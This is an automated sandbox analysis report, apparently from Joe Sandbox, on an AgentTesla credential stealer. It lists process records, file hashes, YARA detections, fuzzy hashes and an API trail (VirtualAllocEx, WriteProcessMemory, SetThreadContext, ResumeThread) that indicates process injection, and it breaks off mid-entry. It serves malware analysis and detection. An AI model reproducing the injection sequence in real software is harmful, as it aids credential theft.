Imagebase:	0xed0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.3307025913.0000000003348000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.3307025913.0000000003301000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.3307025913.0000000003301000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	15:02:13
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe"
Imagebase:	0x690000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	15:02:13
Start date:	29/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	15:02:22
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe"
Imagebase:	0x7e0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	15:02:22
Start date:	29/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.4%
Total number of Nodes:	382
Total number of Limit Nodes:	15

Executed Functions

Function 02DB7030 Relevance: .8, Instructions: 843COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2104051173.0000000002DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2db0000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94c90d0ba96faa07918c9d031d914e963c3a7e207c8c64aa846bebfe870dbc2e
Instruction ID: 84dbec704b788aa4b3bb379b9726eb0c10e471d3cfc39380f5a874ade6e06378
Opcode Fuzzy Hash: 94c90d0ba96faa07918c9d031d914e963c3a7e207c8c64aa846bebfe870dbc2e
Instruction Fuzzy Hash: 4792BE34A01218CFDB65DF68C894BD9B7B2EF8A301F1181E9D409AB365DB71AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02DB702B Relevance: .8, Instructions: 793COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2104051173.0000000002DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2db0000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 315b0ed27803bf9d9107481361a79f933ebe1e408f981c7aab8ed448f241a0f0
Instruction ID: 734e9fb0c20f474147d242976fb69272a5c06f6919b6b4bbaa1c377b1222c47b
Opcode Fuzzy Hash: 315b0ed27803bf9d9107481361a79f933ebe1e408f981c7aab8ed448f241a0f0
Instruction Fuzzy Hash: 7182BF34A01218CFDB65DF68C894BD9B7B2EF8A301F1181E9D409AB365DB71AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 07060031 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd7b7bf795c149f031a5a0586195ff51e08879aaffdc1be06f5dcb8e90fda68e
Instruction ID: 16dff2a2c79b0d0d154c1a052a88bcbf49ba9ac8744cb666284e85758d7f8de0
Opcode Fuzzy Hash: fd7b7bf795c149f031a5a0586195ff51e08879aaffdc1be06f5dcb8e90fda68e
Instruction Fuzzy Hash: D9B1E4B0D55228CFEB64EFA5C859BEEBBF5BF4A300F00926AD419A7251DB740985CF01

Uniqueness

Uniqueness Score: -1.00%

Function 07060040 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbadcfd90305420d2132d9bffad5de367561d300473b117928aebb3cbe5237ae
Instruction ID: 9541abb0e9a0ef6517c09b2c4e942199876e478b322b3f08627d5be87426fb29
Opcode Fuzzy Hash: bbadcfd90305420d2132d9bffad5de367561d300473b117928aebb3cbe5237ae
Instruction Fuzzy Hash: C9B1D4B0D55228CFEB64EFA5C859BEDBBF5BF4A300F00926AD419A7251DB740985CF01

Uniqueness

Uniqueness Score: -1.00%

Function 0706A248 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b26b05c6af1919de4b18d779397d74602edc0c934255e3bbfb4b3776a397454c
Instruction ID: 32015710ae227e20050288b6f2aa4cbda0f66fd742ccc09b2ff66dcd9cb7e86d
Opcode Fuzzy Hash: b26b05c6af1919de4b18d779397d74602edc0c934255e3bbfb4b3776a397454c
Instruction Fuzzy Hash: B3413CF0E69209CBDB04DFA5D5683EDBBFABF8A310F10E225E419B2250DB3449418B44

Uniqueness

Uniqueness Score: -1.00%

Function 0706D221 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9abf69f5a42bab795eb07b8c29c0aa9cb7c885497c43cc4ec20d0e875e731d67
Instruction ID: 190d846b39db7747e3c38709676f94e21b40c5954f2cf84d025faf567c808126
Opcode Fuzzy Hash: 9abf69f5a42bab795eb07b8c29c0aa9cb7c885497c43cc4ec20d0e875e731d67
Instruction Fuzzy Hash: 4CA002D4FAF048C9D4003C14053D4FDC53C030B404F50B30541AA3B1020950D800105D

Uniqueness

Uniqueness Score: -1.00%

Function 010AD0A8 Relevance: 6.1, APIs: 4, Instructions: 135
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 010AD136
GetCurrentThread.KERNEL32 ref: 010AD173
GetCurrentProcess.KERNEL32 ref: 010AD1B0
GetCurrentThreadId.KERNEL32 ref: 010AD209

Memory Dump Source

Source File: 00000000.00000002.2102666893.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10a0000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: c0e70e3f5859598e7d3b360cda3da3563f3d76bcfcaeffd6dab67e89f5f58134
Instruction ID: 635cba70a1d484266213e9137ff49f72a01cd4452416ec86f1860ecc69d48366
Opcode Fuzzy Hash: c0e70e3f5859598e7d3b360cda3da3563f3d76bcfcaeffd6dab67e89f5f58134
Instruction Fuzzy Hash: 2D5165B0900749DFEB54DFAAD548BEEBBF1AF88314F20805EE049A7360D734A945CB65

Uniqueness

Uniqueness Score: -1.00%

Function 010AD0B8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 010AD136
GetCurrentThread.KERNEL32 ref: 010AD173
GetCurrentProcess.KERNEL32 ref: 010AD1B0
GetCurrentThreadId.KERNEL32 ref: 010AD209

Memory Dump Source

Source File: 00000000.00000002.2102666893.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10a0000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 4e6433e45efadbccd51f372b9dae99b7757c186a06045e295b84cbe65d4cb01d
Instruction ID: 031be111dbac671fb22490e9241e053e82694863632795c9d2db6c7fd29a8099
Opcode Fuzzy Hash: 4e6433e45efadbccd51f372b9dae99b7757c186a06045e295b84cbe65d4cb01d
Instruction Fuzzy Hash: 555154B0900709DFEB54DFAAD548BEEBBF1EB88314F20805DE109A7360D734A944CB65

Uniqueness

Uniqueness Score: -1.00%

Function 02DB1B92 Relevance: 1.8, APIs: 1, Instructions: 264
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2104051173.0000000002DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2db0000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58db9843a6f10268071c8ae72a3e36993c97eecf9a9c79255ace1eb8a328078c
Instruction ID: e4037ef724bcf508bfe86ac91f9cf2143c25ecfbfc60696ecfd9ee5fea111b75
Opcode Fuzzy Hash: 58db9843a6f10268071c8ae72a3e36993c97eecf9a9c79255ace1eb8a328078c
Instruction Fuzzy Hash: 21914A71C08389DFCB16CFA5C8645CDBFB1EF4A310F1581AAE849AB262D3788845CF51

Uniqueness

Uniqueness Score: -1.00%

Function 070696F4 Relevance: 1.7, APIs: 1, Instructions: 244
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07069936

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 4ab942837c85a6e887e801a8f33444fa3ac6b7fd42fc2bc9190fef8e5443544c
Instruction ID: 001514419d423a531f67a7207689dffb6231ad65e894752ab084274903bbf4c0
Opcode Fuzzy Hash: 4ab942837c85a6e887e801a8f33444fa3ac6b7fd42fc2bc9190fef8e5443544c
Instruction Fuzzy Hash: 12A15CB1D1021ACFEB54CFA8C8557EDBBF2BF48710F1486A9D848A7240D774A985CF92

Uniqueness

Uniqueness Score: -1.00%

Function 07069700 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07069936

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 118e03bf72371b5e99c905e27db9804be7c0dd4135d430375e4faf5c16d86a97
Instruction ID: f7bb0a35db4b2d31aef3673cbf625bb53e14cbf39257b09975f5959fac2dcf77
Opcode Fuzzy Hash: 118e03bf72371b5e99c905e27db9804be7c0dd4135d430375e4faf5c16d86a97
Instruction Fuzzy Hash: 47915BB1D1021ACFEB54CFA9C8557EDBBF2BF48710F148269E848A7240D774A985CF92

Uniqueness

Uniqueness Score: -1.00%

Function 010AAE30 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 010AB086

Memory Dump Source

Source File: 00000000.00000002.2102666893.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10a0000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: fbcdd56a407e9eee97dc550e865230d33b2b280252b207fc5e8203ddcc5f382b
Instruction ID: d3e6e50fc374a74ffb2c3b49e86126f18e0b9ef2304eb43d32df007245ec62cd
Opcode Fuzzy Hash: fbcdd56a407e9eee97dc550e865230d33b2b280252b207fc5e8203ddcc5f382b
Instruction Fuzzy Hash: F88124B0A00B05CFDB64DFA9D04079ABBF1FF88300F10892DD59A97A90D775E946CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02DB1CF0 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 02DB1E02

Memory Dump Source

Source File: 00000000.00000002.2104051173.0000000002DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2db0000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 176ed06f579c2a74bea8e88b72ffab37bb9f0bd78b17f748cb0203acf896d74c
Instruction ID: 436a7d6f901d4731aa1d201242e3e6c09e4d48e78fd3389722147ce95a1ab651
Opcode Fuzzy Hash: 176ed06f579c2a74bea8e88b72ffab37bb9f0bd78b17f748cb0203acf896d74c
Instruction Fuzzy Hash: 4E41CFB1D00359DFDB15CF9AC994ADEBBB5BF48310F24822AE819AB310D774A845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02DB0BFC Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 02DB4381

Memory Dump Source

Source File: 00000000.00000002.2104051173.0000000002DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2db0000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: cbba0a3accf20d2dd1f64d93e890b54434c13771278baaaf1d98ba3676c08d79
Instruction ID: f964de413373c88f65efd90de67eb56448f32b88dbfc7d3a694b5814c63cb3ae
Opcode Fuzzy Hash: cbba0a3accf20d2dd1f64d93e890b54434c13771278baaaf1d98ba3676c08d79
Instruction Fuzzy Hash: 504126B4900309DFDB14CF99C4A8AAEBBF5FF88314F288459D559AB321D774A841CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 010A449C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 010A59C9

Memory Dump Source

Source File: 00000000.00000002.2102666893.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10a0000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: f91f9d12139742ac733229ab6b7324fc8416b6a1523326fedbb1df7eb87b34e4
Instruction ID: 895d99c81f195a294ee5d1c0e84404e0dde3f950b48f4d14dca52d4884a875f5
Opcode Fuzzy Hash: f91f9d12139742ac733229ab6b7324fc8416b6a1523326fedbb1df7eb87b34e4
Instruction Fuzzy Hash: F641E270C0071DCBDB24DFA9C884B8EBBF5BF49304F60816AD448AB255D7755946CF91

Uniqueness

Uniqueness Score: -1.00%

Function 010A590C Relevance: 1.6, APIs: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 010A59C9

Memory Dump Source

Source File: 00000000.00000002.2102666893.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10a0000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 83dc21097f4ff7d436243975f8688032423102b9120fe700b4a44c6c7a7ffd6b
Instruction ID: 4f4f858cee06cce263ffb54dad034e7e4749b6e84d5bfc09c42a995719868533
Opcode Fuzzy Hash: 83dc21097f4ff7d436243975f8688032423102b9120fe700b4a44c6c7a7ffd6b
Instruction Fuzzy Hash: B341EEB0D00719CBEB24DFAAC9847CEBBF1BF89304F20805AD448AB264DB755946CF91

Uniqueness

Uniqueness Score: -1.00%

Function 07069473 Relevance: 1.6, APIs: 1, Instructions: 70
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07069508

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: cb7fdd5752b910ba1734914a84046bcffd295b6ff0ce5a8b423fd49e88054bb2
Instruction ID: b7f5654967ec61a2fa0b8478bb3fedbc202d4616142c850f9d00047b31ff69f8
Opcode Fuzzy Hash: cb7fdd5752b910ba1734914a84046bcffd295b6ff0ce5a8b423fd49e88054bb2
Instruction Fuzzy Hash: CB2115B1900359DFDB10CFAAC985BDEBBF5FF48310F108429E918A7240D778A954CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 07069478 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07069508

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 79010873f4b5bb966d889d9ec0b816eec325ff6e883d967b157f01b571ec940e
Instruction ID: e4062e24400093ff8a032a1b9815daabe028c7588b88cfb11925c77ab972e692
Opcode Fuzzy Hash: 79010873f4b5bb966d889d9ec0b816eec325ff6e883d967b157f01b571ec940e
Instruction Fuzzy Hash: F82126B1900359DFDB10CFAAC985BDEBBF5FF48310F108429E918A7240D778A954CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 010AD2F8 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 010AD387

Memory Dump Source

Source File: 00000000.00000002.2102666893.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10a0000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: e1bf909b9900f2e16d80eae8893c935b4f16dbbba2a4b3e2c6b56c77df48f063
Instruction ID: 9f3b182d9c35f058868388394e628902a93fd8ed38d9c09d40f7b53fe5425160
Opcode Fuzzy Hash: e1bf909b9900f2e16d80eae8893c935b4f16dbbba2a4b3e2c6b56c77df48f063
Instruction Fuzzy Hash: AF21E6B5900248DFDB10CF9AD985ADEBFF4FB48310F14841AE958A7310D378A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 07069560 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 070695E8

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: efd4b05a0097f56f6c3b9b03584cf343521d1d0f564eb4db8f916068b9c5d70c
Instruction ID: 54e64764754cf5d2e5e61c4701bbfc634261d8687d77e8579c370248a46a0de5
Opcode Fuzzy Hash: efd4b05a0097f56f6c3b9b03584cf343521d1d0f564eb4db8f916068b9c5d70c
Instruction Fuzzy Hash: E521F6B19003599FDB10CFAAC885AEEBBF5FF48310F10842AE518A7240D7399914DF65

Uniqueness

Uniqueness Score: -1.00%

Function 070692D8 Relevance: 1.6, APIs: 1, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0706935E

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 48a86862693b594dc72d72b894741acb2786e71a7faf873b632e960b8ddb05f6
Instruction ID: c13c48c218ce331218c168274bfe27cc1419be0d73f03632d2e90326944bd474
Opcode Fuzzy Hash: 48a86862693b594dc72d72b894741acb2786e71a7faf873b632e960b8ddb05f6
Instruction Fuzzy Hash: 742138B19103199FDB10CFAAC4857EEBBF4EF88310F14842ED519A7240DB78A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 07068D91 Relevance: 1.6, APIs: 1, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 07068E5A

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: e2dc9febf82f847f6a92853e82e597fe69258a734ba245f2c5628c745a22ebe9
Instruction ID: d0ce2c60ff10c8efed6540b3dac1085fc37d7cb79784f4977aa2e1516a5aedea
Opcode Fuzzy Hash: e2dc9febf82f847f6a92853e82e597fe69258a734ba245f2c5628c745a22ebe9
Instruction Fuzzy Hash: 9C2195B1D002498FDF14CFA9C4453EEBBF0EF88314F20855AC428AB390CB399A42CB95

Uniqueness

Uniqueness Score: -1.00%

Function 07069568 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 070695E8

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: c193e55a2350b741fab890130504945794c6272d5b4b349222ba62260f590b12
Instruction ID: 9df55f36b343a88cbe8cbbcc8ea5d1eed47be66c7eba7eaf4db1f336baa5b6b1
Opcode Fuzzy Hash: c193e55a2350b741fab890130504945794c6272d5b4b349222ba62260f590b12
Instruction Fuzzy Hash: BE2128B1800359DFDB10CFAAC885BEEBBF5FF48310F108429E518A7240D7399504CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 070692E0 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0706935E

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 6f8397bbc3db92360c4715c5fbba806a4ef69c42d2f86d8e7ceb3857702dd5ba
Instruction ID: ad27d18c639039c4ed81757de3a9c6efb0d3132dc26bd61c273d1fcdc07a9593
Opcode Fuzzy Hash: 6f8397bbc3db92360c4715c5fbba806a4ef69c42d2f86d8e7ceb3857702dd5ba
Instruction Fuzzy Hash: E22147B19003199FDB10CFAAC4857EEBBF4EF88310F14842ED519A7240DB78A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 010AD300 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 010AD387

Memory Dump Source

Source File: 00000000.00000002.2102666893.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10a0000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 75bd87eb266fe0e37b654676e41ef030afea6b072b96c0882bbda81d6112daca
Instruction ID: 78e9e2d6beef8f68cba7c003c5942c7b6721067ac536dd01f419e5220efc1ee0
Opcode Fuzzy Hash: 75bd87eb266fe0e37b654676e41ef030afea6b072b96c0882bbda81d6112daca
Instruction Fuzzy Hash: 3921C4B5900249DFDB10CFAAD984ADEBFF8EB48310F14841AE958A7350D378A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 070693B0 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07069426

Memory Dump Source

Source File: 00000000.00000002.2107751159.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ef9cef21b6c4736bb64654c7f699398b385fb09574f319dea661f8fbb2668af0
Instruction ID: ac174df16dde2bd10c3d04a675985a94b75bb17e8730627633f486cc60df0ee3
Opcode Fuzzy Hash: ef9cef21b6c4736bb64654c7f699398b385fb09574f319dea661f8fbb2668af0
Instruction Fuzzy Hash: F61106719003499FDF10DFAAC845BDFBBF5AF88310F148419E919A7250C775A550CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 010AA870 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,010AB101,00000800,00000000,00000000), ref: 010AB312

Memory Dump Source

Source File: 00000000.00000002.2102666893.00000000010A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10a0000_oBMlky3Rkm7h5QK.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f562c546dccfa5668ad43870c8f684c2ca5ccdd2706da19cda1bcbbaa290ef49
Instruction ID: 8f642d6efbed8cf00e9a87077051341271e0d44738a93bc31328d9f38e9b9d86
Opcode Fuzzy Hash: f562c546dccfa5668ad43870c8f684c2ca5ccdd2706da19cda1bcbbaa290ef49
Instruction Fuzzy Hash: 7A1114B6800349DFDB10CF9AD444ADEFBF4EF48310F10842AD959A7200C375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 010AB2A1 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,010AB101,00000800,00000000,00000000), ref: 010AB312

Memory Dump Source

